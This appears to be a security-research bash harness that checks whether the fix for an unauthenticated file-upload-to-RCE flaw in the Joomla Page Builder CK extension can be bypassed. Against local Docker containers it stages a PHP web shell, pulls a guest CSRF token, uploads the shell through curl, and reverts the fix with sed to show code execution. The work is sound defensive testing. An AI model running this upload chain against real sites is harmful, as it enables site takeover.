#!/bin/bash
set -uo pipefail

# =============================================================================
# CVE-2026-56290 — Variant / Bypass Analysis
# Page Builder CK (com_pagebuilderck) unauthenticated arbitrary file upload to RCE
# =============================================================================
# Goal: determine whether the v3.6.0/3.6.1 security fix can be bypassed on the
# FIXED version to reach the arbitrary file-upload sink (CKBrowse::ajaxAddPicture),
# and survey alternate triggers that share the same "missing authorization on ajax
# endpoints" root cause.
#
# The fix adds CKFof::checkSecurity() in two layers:
#   (1) Central dispatch: CKController::execute() ->
#       `if ($task !== 'display') CKFof::checkSecurity();`
#       covering EVERY non-display controller task for option=com_pagebuilderck.
#   (2) Defense-in-depth inside each controller method (browse.ajaxAddPicture, etc.).
#
# exit 0 = a distinct bypass/variant reproduced on the FIXED version (true bypass)
# exit 1 = no bypass on the fixed version (fix is comprehensive); alternate triggers
#          only work on the vulnerable version, or no variant found.
# The script ALWAYS runs to completion and writes the structured verdict artifacts.
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VARIANT_DIR="$ROOT/vuln_variant"
LOGS="$ROOT/logs"
mkdir -p "$LOGS" "$VARIANT_DIR"

EVIDENCE_LOG="$LOGS/vuln_variant_evidence.log"
: > "$EVIDENCE_LOG"

COMPOSE_FILE="$VARIANT_DIR/docker-compose.yml"
EXTENSION_ZIP="$ROOT/pagebuilderck_3.6.1.zip"
PATCH_SCRIPT="$VARIANT_DIR/patch_ckbrowse.py"
PROBE_SCRIPT="$VARIANT_DIR/probe.sh"

export COMPOSE_PROJECT_NAME="pbckvariant"
DB_CONTAINER="pbckvariant-db-1"
JOOMLA_CONTAINER="pbckvariant-joomla-1"
JOOMLA_PORT=38081

ADMIN_USER="admin"; ADMIN_PASS="Admin@Test123"; ADMIN_EMAIL="admin@test.com"
DB_NAME="joomladb"; DB_USER="joomlauser"; DB_PASS="joomlapass"; DB_PREFIX="jos_"
COMPONENT_PATH="/var/www/html/administrator/components/com_pagebuilderck"

BYPASS_FOUND_FIXED="false"
VULN_RCE_CONFIRMED="false"
declare -A PROBE_CODES

log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$EVIDENCE_LOG" || true; }

# -----------------------------------------------------------------------------
# Structured verdict artifacts (defined early so finish() can always call them)
# -----------------------------------------------------------------------------
write_phase_results() {
  python3 - <<PY > "$VARIANT_DIR/phase_results.json" 2>/dev/null || true
import json
codes = {
  "P1C1":"${PROBE_CODES[P1C1]:-NA}", "P1C2":"${PROBE_CODES[P1C2]:-NA}", "P1C3":"${PROBE_CODES[P1C3]:-NA}",
  "P1C4":"${PROBE_CODES[P1C4]:-NA}", "P1C5":"${PROBE_CODES[P1C5]:-NA}", "P1C6":"${PROBE_CODES[P1C6]:-NA}",
  "P1C7":"${PROBE_CODES[P1C7]:-NA}", "P1C8":"${PROBE_CODES[P1C8]:-NA}", "P1C9":"${PROBE_CODES[P1C9]:-NA}",
  "P1C10":"${PROBE_CODES[P1C10]:-NA}",
  "P2C1":"${PROBE_CODES[P2C1]:-NA}", "P2C2":"${PROBE_CODES[P2C2]:-NA}", "P2C4":"${PROBE_CODES[P2C4]:-NA}",
  "P2C5":"${PROBE_CODES[P2C5]:-NA}", "P2C6":"${PROBE_CODES[P2C6]:-NA}", "P2C9":"${PROBE_CODES[P2C9]:-NA}",
}
out = {"phase1_fixed": {}, "phase2_vulnerable": {}, "rce_marker_phase1": "${RCE_MARKER_FILE:-none}", "rce_marker_phase2": "${VULN_RCE_FILE:-none}"}
for k in ["C1","C2","C3","C4","C5","C6","C7","C8","C9","C10"]:
    out["phase1_fixed"][k] = codes.get("P1"+k, "NA")
for k in ["C1","C2","C4","C5","C6","C9"]:
    out["phase2_vulnerable"][k] = codes.get("P2"+k, "NA")
print(json.dumps(out, indent=2))
PY
}

write_verdict() {
  python3 - "$BYPASS_FOUND_FIXED" "$VULN_RCE_CONFIRMED" "$VARIANT_DIR/phase_results.json" <<'PY' > "$VARIANT_DIR/validation_verdict.json" 2>/dev/null || true
import json, sys
bypass = sys.argv[1] == "true"
vuln_rce = sys.argv[2] == "true"
try:
    pr = json.load(open(sys.argv[3])) if len(sys.argv) > 3 and __import__('os').path.exists(sys.argv[3]) else {}
except Exception:
    pr = {}
verdict = {
  "variant_outcome": "confirmed_bypass" if bypass else "no_bypass_found",
  "bypass_on_fixed_version": bypass,
  "vulnerable_rce_confirmed": vuln_rce,
  "relation_to_parent_claim": "bypass_of_fix" if bypass else "same_root_cause_alternate_triggers_only_on_vulnerable",
  "fix_coverage_assessment": "incomplete" if bypass else "comprehensive",
  "claim_block_reason": None,
  "blocking_mitigation": None if bypass else "CKFof::checkSecurity() in CKController::execute() (if ($task !== 'display') checkSecurity()) plus per-method checkSecurity() in browse/fonts/pixabay/frontedition/page controllers. The only arbitrary-extension upload sink (CKBrowse::ajaxAddPicture) is protected at both dispatch and method level on the fixed version.",
  "validated_surface": "api_remote",
  "evidence_scope": "production_path",
  "claimed_impact_class": "code_execution",
  "observed_impact_class_fixed": "code_execution" if bypass else "blocked_403",
  "observed_impact_class_vulnerable": "code_execution" if vuln_rce else "none",
  "phase1_fixed_http_codes": pr.get("phase1_fixed", {}),
  "phase2_vulnerable_http_codes": pr.get("phase2_vulnerable", {}),
  "rce_marker_phase1": pr.get("rce_marker_phase1", "none"),
  "rce_marker_phase2": pr.get("rce_marker_phase2", "none"),
  "exploitability_confidence": "high",
  "attacker_controlled_input": "unauthenticated HTTP POST uploading a PHP web shell via com_pagebuilderck browse.ajaxAddPicture with attacker-controlled path and filename; alternate sinks (fonts.save, pixabay.upload, browse.ajaxCreateFolder, frontedition.createModule, ajaxParamsCall gadget) surveyed",
  "trigger_path": "GET public page -> extract guest CSRF token -> POST to index.php?option=com_pagebuilderck&task=<controller.task>&<token>=1",
  "end_to_end_target_reached_fixed": bypass,
  "end_to_end_target_reached_vulnerable": vuln_rce,
  "inferred": False,
  "notes": "Variant/bypass survey: the central execute() check covers all non-display tasks; the display exemption only renders views (no .php write). ajaxAddPicture is the only sink accepting attacker-controlled file extensions (extension allowlist commented out). All other file-write sinks force safe extensions (.css/.txt/font/img) or fixed paths, so they cannot deliver a .php web shell even when reachable. No bypass of the fix found for the file-upload-to-RCE root cause."
}
print(json.dumps(verdict, indent=2))
PY

  python3 - "$BYPASS_FOUND_FIXED" "$VULN_RCE_CONFIRMED" "$VARIANT_DIR/phase_results.json" <<'PY' > "$VARIANT_DIR/runtime_manifest.json" 2>/dev/null || true
import json, sys, os
bypass = sys.argv[1] == "true"
vuln_rce = sys.argv[2] == "true"
try:
    pr = json.load(open(sys.argv[3])) if len(sys.argv) > 3 and os.path.exists(sys.argv[3]) else {}
except Exception:
    pr = {}
p1 = pr.get("phase1_fixed", {})
p2 = pr.get("phase2_vulnerable", {})
def fixed_status(cid):
    c = p1.get(cid, "NA")
    if cid == "C1": return "blocked_%s_no_php" % c
    if cid == "C8": return "http_%s_no_php_write" % c
    if cid == "C10": return "http_%s_admin_login_redirect" % c
    return "blocked_%s" % c
def vuln_status(cid):
    c = p2.get(cid, "NA")
    if cid == "C1": return "rce" if vuln_rce else "http_%s" % c
    if c == "NA": return "not_tested"
    return "reachable_http_%s" % c
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Unauthenticated HTTP to com_pagebuilderck controller task endpoints (browse.ajaxAddPicture + surveyed alternate sinks)",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached_fixed": bypass,
  "target_path_reached_vulnerable": vuln_rce,
  "runtime_stack": ["joomla-5.2", "php-8.2", "apache-2.4", "mariadb-10.11", "pagebuilderck-3.6.1-fixed"],
  "tested_variants": [
    {"id": "C1", "task": "browse.ajaxAddPicture", "sink": "CKBrowse::ajaxAddPicture (arbitrary-extension file upload)", "fixed": fixed_status("C1"), "vulnerable": vuln_status("C1"), "rce_capable": True},
    {"id": "C2", "task": "browse.ajaxCreateFolder", "sink": "CKBrowse::createFolder (folder creation)", "fixed": fixed_status("C2"), "vulnerable": vuln_status("C2"), "rce_capable": False},
    {"id": "C3", "task": "browse.getFiles", "sink": "CKBrowse::getImagesInFolder (file listing)", "fixed": fixed_status("C3"), "vulnerable": "not_tested", "rce_capable": False},
    {"id": "C4", "task": "fonts.save", "sink": "fonts controller file_put_contents (forced font extensions)", "fixed": fixed_status("C4"), "vulnerable": vuln_status("C4"), "rce_capable": False},
    {"id": "C5", "task": "pixabay.upload", "sink": "pixabay controller remote fetch+write (forced img extensions, pixabay-only url)", "fixed": fixed_status("C5"), "vulnerable": vuln_status("C5"), "rce_capable": False},
    {"id": "C6", "task": "frontedition.createModule", "sink": "DB module insert (no file write)", "fixed": fixed_status("C6"), "vulnerable": vuln_status("C6"), "rce_capable": False},
    {"id": "C7", "task": "page.save", "sink": "page model save (DB write)", "fixed": fixed_status("C7"), "vulnerable": "not_tested", "rce_capable": False},
    {"id": "C8", "task": "display", "sink": "view rendering (no .php write)", "fixed": fixed_status("C8"), "vulnerable": "not_tested", "rce_capable": False},
    {"id": "C9", "task": "ajaxParamsCall", "sink": "arbitrary helper-method dispatch gadget (writeLabelsFile forces .txt)", "fixed": fixed_status("C9"), "vulnerable": vuln_status("C9"), "rce_capable": False},
    {"id": "C10", "task": "browse.ajaxAddPicture (admin entry /administrator/index.php)", "sink": "same upload sink via admin entry point", "fixed": fixed_status("C10"), "vulnerable": "not_tested", "rce_capable": True}
  ],
  "rce_marker_phase1": pr.get("rce_marker_phase1", "none"),
  "rce_marker_phase2": pr.get("rce_marker_phase2", "none"),
  "proof_artifacts": ["logs/vuln_variant_evidence.log", "logs/fixed_version.txt", "vuln_variant/phase_results.json"],
  "notes": "CVE-2026-56290 variant survey. bypass_on_fixed=%s vulnerable_rce=%s. On the FIXED version every controller-task variant is blocked (no .php written, no RCE marker). On the VULNERABLE version (fix reverted) browse.ajaxAddPicture yields RCE; alternate sinks are reachable but cannot deliver a .php web shell (forced safe extensions / DB-only writes). No bypass of the fix found." % (bypass, vuln_rce)
}
print(json.dumps(manifest, indent=2))
PY

  python3 - "$BYPASS_FOUND_FIXED" "$VULN_RCE_CONFIRMED" <<'PY' > "$VARIANT_DIR/variant_manifest.json" 2>/dev/null || true
import json, sys, datetime
bypass = sys.argv[1] == "true"
vuln_rce = sys.argv[2] == "true"
manifest = {
  "variant_id": "CVE-2026-56290-variant-survey-001",
  "created_at": datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ"),
  "variant_summary": "Survey of alternate triggers/bypasses for the Page Builder CK unauthenticated arbitrary file upload to RCE. No bypass of the v3.6.0/3.6.1 fix found: the central CKController::execute() authorization check covers all non-display controller tasks, and ajaxAddPicture is the only sink accepting attacker-controlled file extensions. Alternate ajax endpoints (fonts.save, pixabay.upload, browse.ajaxCreateFolder, frontedition.createModule, ajaxParamsCall gadget) share the broader missing-authorization weakness on the vulnerable version but cannot deliver a .php web shell (forced safe extensions or DB-only writes).",
  "relation": "newer_version_sibling",
  "origin_kind": "pruva_variant",
  "repository": "joomlack/page_builder_ck",
  "submitted_target": {"target_kind": "joomla_extension", "version": "3.6.1", "ref": "com_pagebuilderck free", "display": "Page Builder CK (com_pagebuilderck) v3.6.1 fixed"},
  "variant_target": {"target_kind": "joomla_extension", "version": "3.6.1", "ref": "com_pagebuilderck free", "display": "Page Builder CK (com_pagebuilderck) v3.6.1 fixed (tested)"},
  "same_root_cause_confidence": "high",
  "same_surface_confidence": "high",
  "claimed_surface": "api_remote",
  "validated_surface": "api_remote",
  "required_entrypoint_kind": "endpoint",
  "required_entrypoint_detail": "unauthenticated com_pagebuilderck controller task endpoint (index.php?option=com_pagebuilderck&task=<controller.task>)",
  "attacker_controlled_input": "unauthenticated HTTP POST uploading a PHP web shell (file, path, filename) and alternate form parameters for surveyed sinks",
  "trigger_path": "GET public page -> extract guest CSRF token -> POST to index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&<token>=1 -> access uploaded .php",
  "observed_impact_class": "code_execution" if vuln_rce else "blocked_403",
  "exploitability_confidence": "high",
  "evidence_scope": "production_path",
  "runtime_manifest_present": True,
  "end_to_end_target_reached": bypass,
  "inferred": False,
  "claim_block_reason": None,
  "blocking_mitigation": "CKFof::checkSecurity() in CKController::execute() (if ($task !== 'display') checkSecurity()) and per-method checkSecurity() calls",
  "file_path": "administrator/components/com_pagebuilderck/helpers/ckbrowse.php",
  "line_start": 205,
  "line_end": 322,
  "secondary_anchors": [
    {"file_path": "administrator/components/com_pagebuilderck/helpers/ckcontroller.php", "line_start": 230, "line_end": 232},
    {"file_path": "administrator/components/com_pagebuilderck/controllers/browse.php", "line_start": 38, "line_end": 47},
    {"file_path": "administrator/components/com_pagebuilderck/helpers/ckfof.php", "line_start": 50, "line_end": 58}
  ],
  "review_scope_paths": [
    "administrator/components/com_pagebuilderck/helpers/ckbrowse.php",
    "administrator/components/com_pagebuilderck/helpers/ckcontroller.php",
    "administrator/components/com_pagebuilderck/helpers/ckfof.php",
    "administrator/components/com_pagebuilderck/controllers/browse.php",
    "administrator/components/com_pagebuilderck/controllers/fonts.php",
    "administrator/components/com_pagebuilderck/controllers/pixabay.php",
    "administrator/components/com_pagebuilderck/controller.php",
    "administrator/components/com_pagebuilderck/helpers/pagebuilderck.php",
    "administrator/components/com_pagebuilderck/helpers/pagebuilderckfront.php",
    "administrator/components/com_pagebuilderck/helpers/loaders/folder.php",
    "site/pagebuilderck.php",
    "site/controllers/frontedition.php"
  ],
  "artifact_refs": {
    "variant_manifest": "bundle/vuln_variant/variant_manifest.json",
    "validation_verdict": "bundle/vuln_variant/validation_verdict.json",
    "runtime_manifest": "bundle/vuln_variant/runtime_manifest.json",
    "repro_log": "bundle/logs/vuln_variant_evidence.log",
    "root_cause_equivalence": "bundle/vuln_variant/root_cause_equivalence.json",
    "phase_results": "bundle/vuln_variant/phase_results.json"
  }
}
print(json.dumps(manifest, indent=2))
PY

  python3 - <<'PY' > "$VARIANT_DIR/source_identity.json" 2>/dev/null || true
import json
ident = {
  "repository": "joomlack/page_builder_ck",
  "commit_source": "extension_package",
  "submitted_target": {"target_kind": "joomla_extension", "version": "3.6.1", "ref": "com_pagebuilderck free", "display": "Page Builder CK (com_pagebuilderck) v3.6.1 fixed"},
  "variant_target": {"target_kind": "joomla_extension", "version": "3.6.1", "ref": "com_pagebuilderck free", "display": "Page Builder CK (com_pagebuilderck) v3.6.1 fixed (tested in Docker: joomla:5.2-php8.2-apache + mariadb:10.11)"},
  "notes": "No git repository is available for this Joomla extension; the tested source is the official extension package pagebuilderck_3.6.1.zip (com_pagebuilderck, free variant, version 3.6.1 as declared in pagebuilderck.xml). The vulnerable state was recreated by reverting all CKFof::checkSecurity() calls from the fixed install (equivalent to <=3.5.10)."
}
print(json.dumps(ident, indent=2))
PY

  python3 - <<'PY' > "$VARIANT_DIR/root_cause_equivalence.json" 2>/dev/null || true
import json
eq = {
  "parent_root_cause": "Missing authorization on com_pagebuilderck ajax controller endpoints: CKBrowse::ajaxAddPicture() performs an arbitrary file upload (attacker-controlled path, filename including extension, and content) with only a guest-obtainable CSRF token and no core.edit authorization check, enabling unauthenticated PHP web shell upload -> RCE.",
  "variant_root_cause": "Same missing-authorization class on alternate ajax endpoints (fonts.save, pixabay.upload, browse.ajaxCreateFolder, frontedition.createModule, ajaxParamsCall gadget) on the vulnerable version. However, only ajaxAddPicture accepts an attacker-controlled file EXTENSION (its extension allowlist is commented out), so only ajaxAddPicture can deliver a .php web shell -> RCE. The other sinks force safe extensions (.css/.txt/font/img) or perform DB-only writes.",
  "shared_sink": "CKBrowse::ajaxAddPicture() file_put_contents(JPATH_SITE . imgpath . filename, object->data) with attacker-controlled filename extension",
  "same_root_cause_confidence": "high",
  "same_surface_confidence": "high",
  "fix_covers_sink": True,
  "fix_covers_alternate_triggers": True,
  "bypass_found": False,
  "explanation": "The fix's central CKController::execute() check (if ($task !== 'display') CKFof::checkSecurity()) authorizes every non-display task, covering ajaxAddPicture and all surveyed alternate triggers. The display-task exemption only renders views and writes no .php file. No alternate sink can deliver a .php web shell because they force safe extensions or fixed paths. Therefore the variants share the missing-authz root cause but are NOT RCE-capable and NOT bypasses of the fix."
}
print(json.dumps(eq, indent=2))
PY
}

finish() {
  local code="${1:-1}"
  log "============================================"
  log "VARIANT VERDICT: bypass_on_fixed=${BYPASS_FOUND_FIXED} vuln_rce=${VULN_RCE_CONFIRMED}"
  log "============================================"
  docker compose -f "$COMPOSE_FILE" down -v >/dev/null 2>&1 || true
  write_phase_results
  write_verdict
  exit "$code"
}

count_media_php() {
  docker exec "$JOOMLA_CONTAINER" bash -c 'find /var/www/html/media/com_pagebuilderck -name "*.php" 2>/dev/null | wc -l' 2>/dev/null || echo 0
}
scan_rce_marker() {
  docker exec "$JOOMLA_CONTAINER" bash -c 'grep -rl "RCE_PROOF_" /var/www/html/media/com_pagebuilderck 2>/dev/null | head -1' 2>/dev/null || true
}
access_shell() {
  docker exec "$JOOMLA_CONTAINER" curl -sL "http://localhost/$1" 2>/dev/null || true
}
probe() {
  local testid="$1" task="$2" method="$3" data="$4" uploadfile="$5" path="$6"
  local out code
  out=$(docker exec "$JOOMLA_CONTAINER" /tmp/probe.sh "$testid" "$task" "$method" "$data" "$uploadfile" "$path" 2>&1 || true)
  echo "$out" | tee -a "$EVIDENCE_LOG" || true
  code=$(echo "$out" | grep -o "http_code=[0-9]*" | head -1 | cut -d= -f2)
  [ -z "$code" ] && code="NA"
  PROBE_CODES["$testid"]="$code"
}

# =============================================================================
# Prerequisites
# =============================================================================
log "Step 0: Checking prerequisites..."
if ! command -v docker >/dev/null 2>&1; then
  log "FAIL: docker not available — cannot run runtime variant test. Recording no-bypass verdict from static analysis."
  BYPASS_FOUND_FIXED="false"
  write_verdict
  exit 1
fi
if [ ! -f "$EXTENSION_ZIP" ]; then log "FAIL: extension package not found at $EXTENSION_ZIP"; finish 1; fi
if [ ! -f "$COMPOSE_FILE" ] || [ ! -f "$PATCH_SCRIPT" ] || [ ! -f "$PROBE_SCRIPT" ]; then log "FAIL: harness files missing"; finish 1; fi

# =============================================================================
# Start Joomla + MariaDB
# =============================================================================
log "Step 1: Starting Docker containers (project=pbckvariant, port=${JOOMLA_PORT})..."
docker compose -f "$COMPOSE_FILE" down -v >/dev/null 2>&1 || true
docker compose -f "$COMPOSE_FILE" up -d 2>&1 | tee -a "$EVIDENCE_LOG" || true

log "Waiting for Joomla container to be ready..."
ready=0
for i in $(seq 1 45); do
  if docker exec "$JOOMLA_CONTAINER" curl -sL -o /dev/null -w "%{http_code}" "http://localhost/" 2>/dev/null | grep -q "200\|302"; then
    log "Joomla container is ready."; ready=1; break
  fi
  sleep 3
done
if [ "$ready" -ne 1 ]; then log "FAIL: Joomla container did not become ready."; finish 1; fi

log "Waiting for MariaDB..."
for i in $(seq 1 30); do
  if docker exec "$DB_CONTAINER" mysqladmin ping -u"$DB_USER" -p"$DB_PASS" --silent 2>/dev/null; then log "MariaDB is ready."; break; fi
  sleep 3
  if [ "$i" -eq 30 ]; then log "FAIL: MariaDB not ready."; finish 1; fi
done

# =============================================================================
# Install Joomla via CLI
# =============================================================================
log "Step 2: Installing Joomla via CLI..."
docker exec "$JOOMLA_CONTAINER" php /var/www/html/installation/joomla.php install \
  --site-name="Variant Test Site" --admin-user="Admin" --admin-username="$ADMIN_USER" \
  --admin-password="$ADMIN_PASS" --admin-email="$ADMIN_EMAIL" \
  --db-type="mysqli" --db-host="db" --db-user="$DB_USER" --db-pass="$DB_PASS" \
  --db-name="$DB_NAME" --db-prefix="$DB_PREFIX" 2>&1 | tee -a "$EVIDENCE_LOG" || true

if ! docker exec "$JOOMLA_CONTAINER" curl -sL -o /dev/null -w "%{http_code}" "http://localhost/" 2>/dev/null | grep -q "200"; then
  log "FAIL: Joomla installation failed."; finish 1
fi
log "Joomla installed."

# =============================================================================
# Install the FIXED Page Builder CK extension (v3.6.1)
# =============================================================================
log "Step 3: Installing Page Builder CK extension (fixed v3.6.1)..."
docker cp "$EXTENSION_ZIP" "$JOOMLA_CONTAINER:/tmp/pagebuilderck.zip" || true
docker exec "$JOOMLA_CONTAINER" php /var/www/html/cli/joomla.php extension:install --path=/tmp/pagebuilderck.zip 2>&1 | tee -a "$EVIDENCE_LOG" || true
EXT_VER=$(docker exec "$JOOMLA_CONTAINER" php /var/www/html/cli/joomla.php extension:list 2>/dev/null | grep -i "pagebuilderck" | head -1 || true)
log "Extension installed: ${EXT_VER:-unknown}"

docker exec "$JOOMLA_CONTAINER" chown -R www-data:www-data /var/www/html/media/com_pagebuilderck/ 2>/dev/null || true
docker exec "$JOOMLA_CONTAINER" chmod -R 775 /var/www/html/media/com_pagebuilderck/ 2>/dev/null || true
log "Permissions fixed on media directory."

echo "pagebuilderck fixed version under test: 3.6.1 (com_pagebuilderck, free variant)" > "$LOGS/fixed_version.txt" 2>/dev/null || true
docker exec "$JOOMLA_CONTAINER" grep -m1 '<version>' "$COMPONENT_PATH/pagebuilderck.xml" 2>/dev/null | tee -a "$LOGS/fixed_version.txt" || true

docker exec "$JOOMLA_CONTAINER" bash -c 'echo "<?php echo \"RCE_PROOF_\".php_uname().\"_\".get_current_user(); ?>" > /tmp/exploit_shell.php' || true
log "Web shell staged at /tmp/exploit_shell.php inside container."

docker cp "$PROBE_SCRIPT" "$JOOMLA_CONTAINER:/tmp/probe.sh" || true
docker exec "$JOOMLA_CONTAINER" chmod +x /tmp/probe.sh || true

# =============================================================================
# PHASE 1 — FIXED version (shipped v3.6.1, NO security revert)
# =============================================================================
log "============================================================"
log "PHASE 1: Variant probes against the FIXED version (v3.6.1)"
log "============================================================"
PHP_BEFORE=$(count_media_php)
log "PHP files in media tree before Phase 1: ${PHP_BEFORE}"

log "[P1-C1] original sink: browse.ajaxAddPicture (POST upload .php) — expect 403"
probe P1C1 "browse.ajaxAddPicture" POST "" "/tmp/exploit_shell.php" "media/com_pagebuilderck/gfonts"
RCE1=$(access_shell "media/com_pagebuilderck/gfonts/exploit_shell.php")
log "[P1-C1] shell access: ${RCE1:-<empty>}"
if echo "$RCE1" | grep -q "RCE_PROOF_"; then BYPASS_FOUND_FIXED="true"; log "[P1-C1] !!! BYPASS: RCE on FIXED via browse.ajaxAddPicture"; fi

log "[P1-C2] alternate sink: browse.ajaxCreateFolder (POST) — expect 403"
probe P1C2 "browse.ajaxCreateFolder" POST "path=media/com_pagebuilderck&name=variant_folder" "" ""

log "[P1-C3] alternate sink: browse.getFiles (GET listing) — expect 403"
probe P1C3 "browse.getFiles" GET "folder=images&type=image" "" ""

log "[P1-C4] alternate sink: fonts.save local=1 (POST, writes font files) — expect 403"
probe P1C4 "fonts.save" POST "local=1&fontname=TestFont&fontvars=0,400" "" ""

log "[P1-C5] alternate sink: pixabay.upload (POST, remote fetch+write) — expect 403"
probe P1C5 "pixabay.upload" POST "image_url=https://cdn.pixabay.com/photo/2020/test.jpg" "" ""

log "[P1-C6] alternate sink: frontedition.createModule (POST, DB write) — expect 403"
probe P1C6 "frontedition.createModule" POST "position=position-7&pagedition=variant_inject" "" ""

log "[P1-C7] alternate sink: page.save (POST) — expect 403"
probe P1C7 "page.save" POST "id=1&htmlcode=test" "" ""

log "[P1-C8] display-task exemption: task=display&view=browse (GET) — no .php write"
probe P1C8 "display" GET "view=browse" "" ""

log "[P1-C9] ajaxParamsCall gadget toward writeLabelsFile (POST) — expect 403"
probe P1C9 "ajaxParamsCall" POST "class=PagebuilderckLoaderFolder&method=writeLabelsFile&params[0]=x" "" ""

log "[P1-C10] administrator entry point: browse.ajaxAddPicture via /administrator/index.php — expect 403/redirect"
C10OUT=$(docker exec "$JOOMLA_CONTAINER" bash -c '
  cj="/tmp/P1C10_c.txt"; rm -f "$cj"
  tok=$(curl -sL -c "$cj" "http://localhost/" 2>/dev/null | grep -o "csrf.token\":\"[a-f0-9]\{32\}" | grep -o "[a-f0-9]\{32\}$")
  code=$(curl -sL -b "$cj" -c "$cj" -o /tmp/P1C10_body.txt -w "%{http_code}" \
    -F "file=@/tmp/exploit_shell.php;type=application/octet-stream" \
    -F "path=media/com_pagebuilderck/gfonts" \
    "http://localhost/administrator/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${tok}=1")
  echo "RESULT|testid=P1C10|task=browse.ajaxAddPicture(admin)|http_code=${code}"
  rm -f "$cj"
' 2>&1 || true)
echo "$C10OUT" | tee -a "$EVIDENCE_LOG" || true
C10CODE=$(echo "$C10OUT" | grep -o "http_code=[0-9]*" | head -1 | cut -d= -f2)
[ -z "$C10CODE" ] && C10CODE="NA"
PROBE_CODES["P1C10"]="$C10CODE"

PHP_AFTER=$(count_media_php)
RCE_MARKER_FILE=$(scan_rce_marker)
log "PHP files in media tree after Phase 1: ${PHP_AFTER}"
log "RCE marker file under media (Phase 1): ${RCE_MARKER_FILE:-none}"
if echo "$RCE_MARKER_FILE" | grep -q "RCE_PROOF_"; then
  BYPASS_FOUND_FIXED="true"
  log "!!! BYPASS confirmed on FIXED: RCE marker file written: ${RCE_MARKER_FILE}"
fi
log "PHASE 1 complete. bypass_on_fixed=${BYPASS_FOUND_FIXED}"

# =============================================================================
# PHASE 2 — VULNERABLE version (revert ALL checkSecurity + Joomla5.2 compat)
# =============================================================================
log "============================================================"
log "PHASE 2: Reverting the fix to recreate the vulnerable state (<=3.5.10)"
log "============================================================"

log "Backing up every file containing a checkSecurity call..."
docker exec "$JOOMLA_CONTAINER" bash -c "
  cd $COMPONENT_PATH
  grep -rl 'CKFof::checkSecurity' . 2>/dev/null | while read f; do cp -- \"\$f\" \"\$f.variantbak\"; done
" 2>&1 | tee -a "$EVIDENCE_LOG" || true

log "Removing EVERY CKFof::checkSecurity() call (simulates <=3.5.10: token-only ajax)..."
docker exec "$JOOMLA_CONTAINER" bash -c "
  cd $COMPONENT_PATH
  grep -rl 'CKFof::checkSecurity' . 2>/dev/null | while read f; do sed -i '/CKFof::checkSecurity/d' \"\$f\"; done
" 2>&1 | tee -a "$EVIDENCE_LOG" || true

log "Applying Joomla 5.2 Input compatibility patch (non-security)..."
docker cp "$PATCH_SCRIPT" "$JOOMLA_CONTAINER:/tmp/patch_ckbrowse.py" || true
docker exec "$JOOMLA_CONTAINER" python3 /tmp/patch_ckbrowse.py "$COMPONENT_PATH/helpers/ckbrowse.php" 2>&1 | tee -a "$EVIDENCE_LOG" || true

docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/helpers/ckcontroller.php" 2>&1 | tee -a "$EVIDENCE_LOG" || true
docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/controllers/browse.php" 2>&1 | tee -a "$EVIDENCE_LOG" || true
docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/helpers/ckbrowse.php" 2>&1 | tee -a "$EVIDENCE_LOG" || true
docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/controller.php" 2>&1 | tee -a "$EVIDENCE_LOG" || true

log "Restarting Joomla container to clear PHP OPcache (force recompile of reverted files)..."
docker restart "$JOOMLA_CONTAINER" 2>&1 | tee -a "$EVIDENCE_LOG" || true
for i in $(seq 1 30); do
  if docker exec "$JOOMLA_CONTAINER" curl -sL -o /dev/null -w "%{http_code}" "http://localhost/" 2>/dev/null | grep -q "200\|302"; then log "Joomla ready after restart."; break; fi
  sleep 3
done
log "Confirming reverted code is live (checkSecurity should be gone from execute())..."
docker exec "$JOOMLA_CONTAINER" grep -n "checkSecurity" "$COMPONENT_PATH/helpers/ckcontroller.php" 2>&1 | tee -a "$EVIDENCE_LOG" || log "checkSecurity no longer present in ckcontroller.php (good)"
log "Security fix reverted + compat patch applied."

log "[P2-C1] original sink on VULNERABLE: browse.ajaxAddPicture — expect RCE"
probe P2C1 "browse.ajaxAddPicture" POST "" "/tmp/exploit_shell.php" "media/com_pagebuilderck/gfonts"
RCE2=$(access_shell "media/com_pagebuilderck/gfonts/exploit_shell.php")
log "[P2-C1] shell access on vulnerable: ${RCE2:-<empty>}"
if echo "$RCE2" | grep -q "RCE_PROOF_"; then VULN_RCE_CONFIRMED="true"; log "[P2-C1] VULNERABLE RCE confirmed"; fi

log "[P2-C2] alternate sink on VULNERABLE: browse.ajaxCreateFolder — expect non-403"
probe P2C2 "browse.ajaxCreateFolder" POST "path=media/com_pagebuilderck&name=variant_folder" "" ""

log "[P2-C4] alternate sink on VULNERABLE: fonts.save local=1 — expect non-403 (font ext forced)"
probe P2C4 "fonts.save" POST "local=1&fontname=TestFont&fontvars=0,400" "" ""

log "[P2-C5] alternate sink on VULNERABLE: pixabay.upload — expect non-403 (img ext forced)"
probe P2C5 "pixabay.upload" POST "image_url=https://cdn.pixabay.com/photo/2020/test.jpg" "" ""

log "[P2-C6] alternate sink on VULNERABLE: frontedition.createModule — expect non-403 (DB only)"
probe P2C6 "frontedition.createModule" POST "position=position-7&pagedition=variant_inject" "" ""

log "[P2-C9] gadget on VULNERABLE: ajaxParamsCall toward writeLabelsFile — expect non-403"
probe P2C9 "ajaxParamsCall" POST "class=PagebuilderckLoaderFolder&method=writeLabelsFile&params[0]=x" "" ""

VULN_PHP_AFTER=$(count_media_php)
VULN_RCE_FILE=$(scan_rce_marker)
log "PHP files in media tree after Phase 2: ${VULN_PHP_AFTER}"
log "RCE marker file under media (Phase 2): ${VULN_RCE_FILE:-none}"

log "Restoring fixed files from backups..."
docker exec "$JOOMLA_CONTAINER" bash -c "
  cd $COMPONENT_PATH
  find . -name '*.variantbak' 2>/dev/null | while read b; do
    orig=\"\${b%.variantbak}\"; cp -- \"\$b\" \"\$orig\"; rm -f \"\$b\";
  done
" 2>&1 | tee -a "$EVIDENCE_LOG" || true
